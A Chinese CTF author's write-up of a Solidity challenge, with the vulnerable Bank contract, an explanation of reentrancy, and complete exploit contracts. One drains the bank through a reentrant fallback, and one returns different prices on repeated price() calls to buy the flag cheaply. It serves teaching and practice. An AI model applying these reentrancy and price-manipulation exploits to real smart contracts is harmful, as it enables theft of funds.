今年也是轮到我出招新题了()

总共两题,w8nn9z出一题,我出一题。

出了个区块链,考点其实挺基础的:) 人话:懒得思考直接去网上搞了两题下来改了改出了个拼好题

出题时用的还是solidctf项目,一些交互方式就不再赘述了。

题目合约如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: UNLISCENSED
pragma solidity ^0.8.13;

interface Quote {
function price() external view returns (uint256);
}

contract Bank {
event EmitFlag(address indexed user);
uint256 cmp= 100 ether;
uint256 public lastWithdrawTime;
uint256 flagprice= 200 ether;
bool public flagEmitted;
mapping(address => uint) public balances;
mapping(address => uint) public depositTimes;

constructor() payable {}

function deposit() public payable {
require(msg.value > 0, "Deposit must be positive");
balances[msg.sender] += msg.value;
depositTimes[msg.sender] = block.timestamp;
}

function withdraw() public {
require(block.timestamp - depositTimes[msg.sender] < 1 days, "Deposit expired...");
uint get = balances[msg.sender];
require(get > 0, "No money left :(");
require(block.timestamp - lastWithdrawTime > 1 seconds, "Hey bro, calm down!");
(bool sent, ) = msg.sender.call{value: get}("");
require(sent, "Operation failed :(");
balances[msg.sender] = 0;
lastWithdrawTime = block.timestamp;
}

function ViewBalance(address ad) public view returns (uint) {
uint bal=balances[ad];
return bal;
}

function buy() public{
require(balances[msg.sender]>cmp,"Poor guy......");
Quote _quote = Quote(msg.sender);
if (_quote.price() >= flagprice && !flagEmitted){
flagEmitted = true;
flagprice = _quote.price();
}
require(balances[msg.sender]>=flagprice,"Not enough money......");
emit EmitFlag(msg.sender);
}
}

获取一下题目合约地址

image-20250407141739660

拿到remix中at address一下,可以发现合约中已经存在了100 ether

image-20250407142117833

阅读合约不难发现,前半部分就是一个重入攻击的经典形式。

这里解释一下重入攻击,重入攻击是利用了合约中“先转账后记账”的特性——很显然bank合约的withdraw函数中就是如此——以及fallback这个函数的特殊作用。在solidity语言中,fallback函数是一个不带参数、没有返回值的匿名函数,值得注意的是,它会在外部账户或其他合约向该合约地址发送ether时自动被调用。而利用合约“先转账后记账”的漏洞,我们可以在转账完以后立马触发fallback函数,使其因为还没来得及记账导致被判断为满足条件而继续转账,由此把bank合约中的balance全部清空。

因此,我们可以写出第一部分的攻击合约,通过buy函数的第一个require判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack{
Bank public etherStore;

constructor(address _etherStoreAddress) {
etherStore = Bank(_etherStoreAddress);
}

fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

function getBalance() public view returns (uint) {
return address(this).balance;
}
}

接下来是第二部分

可以看到题目中给出了一个Quote接口用于报价,要求是报价高于200ether,且我们的余额高于目前的之前我们的报价,我们就可以把flag买下来。

这里的问题出在使用了两次_quote.price()来获取报价价格,且中间有个flagEmitted的标记,于是我们可以利用这个flagEmitted的标记来操纵flagprice。首先我们报出一个高于200ether的价格,这样就会通过if的检测使得flagEmitted变成true。而我们检测到flagEmitted变成true以后就立马改变我们的报价,报出一个低于我们当前balance的价格,使得flagprice变为这个价格。

这里实际上就是要完善Quote这个接口,另外还得注意的是我们得把之前重入攻击提出来的ether全部再存回去,使得题目合约能记到我们的攻击合约的账。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

interface Bank {
function deposit() external payable;
function withdraw() external;
function buy() external;
function flagEmitted() external view returns (bool);
}

interface Quote {
function price() external view returns (uint256);
}

contract Attack is Quote{
Bank public etherStore;

constructor(address _etherStoreAddress) {
etherStore = Bank(_etherStoreAddress);
}

fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function deposit() external payable {
require(address(this).balance > 0, "No funds to deposit");
etherStore.deposit{value: address(this).balance}();
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

function getBalance() public view returns (uint) {
return address(this).balance;
}

function price() external view returns (uint256){
if (etherStore.flagEmitted() == false) {
return 201 ether;
} else {
return 1 ether;
}
}

function buy() external{
etherStore.buy();
}
}

具体操作:

先给我们自己的账户接一次水以便交手续费,然后将题目合约地址传给攻击合约的构造函数再deploy

image-20250407143852914

接一次水,对在我们之前at address的bank合约中操作,先存1ether进去

image-20250407145630189

再接一次水,在我们deploy的attack合约中操作,给msg.value设置为1 ether,然后attack

image-20250407145910383

可以看到我们已经把这102ether全部提到了我们的攻击合约中。

然后再调用我们攻击合约中的deposit函数把这些ether全部存回去

image-20250407150039957

buy,获得flag

image-20250407150130374
image-20250407150211947

当然肯定会有大手子问,筑波筑波,你这样打还是太吃操作了,我就不能写个脚本把我账户挂水龙头上三个小时凑够200ether买下flag吗?

我的回答是,当然可以,但这毕竟是考核题,肯定会问思路,无所谓了(摆烂)。。。